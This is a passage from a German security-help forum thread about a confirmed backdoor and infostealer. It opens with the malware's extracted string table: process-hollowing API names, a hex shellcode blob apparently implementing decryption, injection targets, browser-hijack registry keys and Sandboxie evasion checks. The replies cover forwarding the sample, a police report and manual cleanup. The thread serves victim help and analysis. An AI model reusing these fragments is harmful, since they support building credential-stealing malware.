SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;uint64 ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes 11=char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;word NumberOfRelocations;word NumberOfLinenumbers;dword Characteristics 12=byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId 13=bool 14=ptr 15=dword a; dword b 16=word[ 17=CloseHandle 18=ReadProcessMemory 19=WriteProcessMemory 20=CreateProcessW 21=IsWow64Process 22=TerminateProcess 23=GetThreadContext 24=NtUnmapViewOfSection 25=VirtualAllocEx 26=0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000 27=user32.dll 28=CallWindowProc 29=none 30=byte[ 31=msmsgs.exe 32=reader_sl.exe 33=alg.exe 34=wscntfy.exe 35=HKEY_CLASSES_ROOT\http\shell\open\command 36=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice 37=HKEY_CLASSES_ROOT\shell\open\command 38=\Microsoft.NET\Framework\ 39=\vbc.exe 40=[\\/:><\|]|(?s)^\s*$ 41=[\\/]+$ 42=SandboxieRpcSs.exe 43=SandboxieDcomLaunch.exe 44=:Zone.Identifier: 45=DATA Geändert von FabulousGee (09.08.2015 um 03:00 Uhr) |
09.08.2015, 07:33 | #4 |
/// the machine /// TB-Ausbilder | Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei hab das File mal weiter geleitet
__________________ gruß, schrauber Proud Member of UNITE and ASAP since 2009 Spenden Anleitungen und Hilfestellungen Trojaner-Board Facebook-Seite Keine Hilfestellung via PM! |
09.08.2015, 14:57 | #5 |
| Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Danke. Bin mal gespannt was da rauskommt. Hab mittlerweile auch einen weiteren Hinweis gefunden: AutoIt approach: Infecting your browser via code recycling - hxxp://now.avg.com/autoit-approach-infecting-browser-code-recycling/ Sieht sehr nach einer ähnlichen Attacke aus. Das heißt es ging vermutlich nur auf weitere Zugangsdaten und weniger auf "echte" Daten. Wenn das tatsächlich gesichert wäre, dann wäre das Schlimmste schon überstanden^^ |
10.08.2015, 09:33 | #6 |
/// the machine /// TB-Ausbilder | Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei ja, sowas in der Art wird es sein.
__________________ --> Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei |
15.08.2015, 00:34 | #7 |
| Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Kam bei der Weiterleitung noch was raus oder wohin hast du sie geleitet? Anzeige bei der Abteilung Cybercrime der KriPo ist erstattet, viel Hoffnung sollen wir uns aber nicht machen, da die IP wohl aus England kommt... Die Firma TeamViewer war übrigens sehr bemüht unbürokratische Hilfe zu stellen (soweit möglich) - top! Kennwörter sind ja alle soweit geändert gewesen, die schadhafte Datei habe ich relativ gut entfernen können (aus dem Autostart raus, die erstellten temp-Dateien löschen, neu starten und dann die .exe und alles was vorher nicht ging...). Soweit so clean, hab keine Reste mehr finden können. |
15.08.2015, 20:21 | #8 |
/// the machine /// TB-Ausbilder | Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei nee noch keine Info, hab aber nochmals nachgefragt
__________________ gruß, schrauber Proud Member of UNITE and ASAP since 2009 Spenden Anleitungen und Hilfestellungen Trojaner-Board Facebook-Seite Keine Hilfestellung via PM! |
15.08.2015, 20:42 | #9 |
/// the machine /// TB-Ausbilder | Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Wird mittlerweile auch bei VT erkannt: https://www.virustotal.com/en-gb/fil...is/1439667491/ Backdoor mit InfoStealer.
__________________ gruß, schrauber Proud Member of UNITE and ASAP since 2009 Spenden Anleitungen und Hilfestellungen Trojaner-Board Facebook-Seite Keine Hilfestellung via PM! |
Themen zu Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei |
anderen, anderer, automatisch, board, daten, geschlossen, interne, internetverbindung, lücke, mas, minuten, namen, natürlich, neu, passwort, passwörter, plötzlich, rechner, startet, system, testen, verbindung, virus, virustotal, zugriff |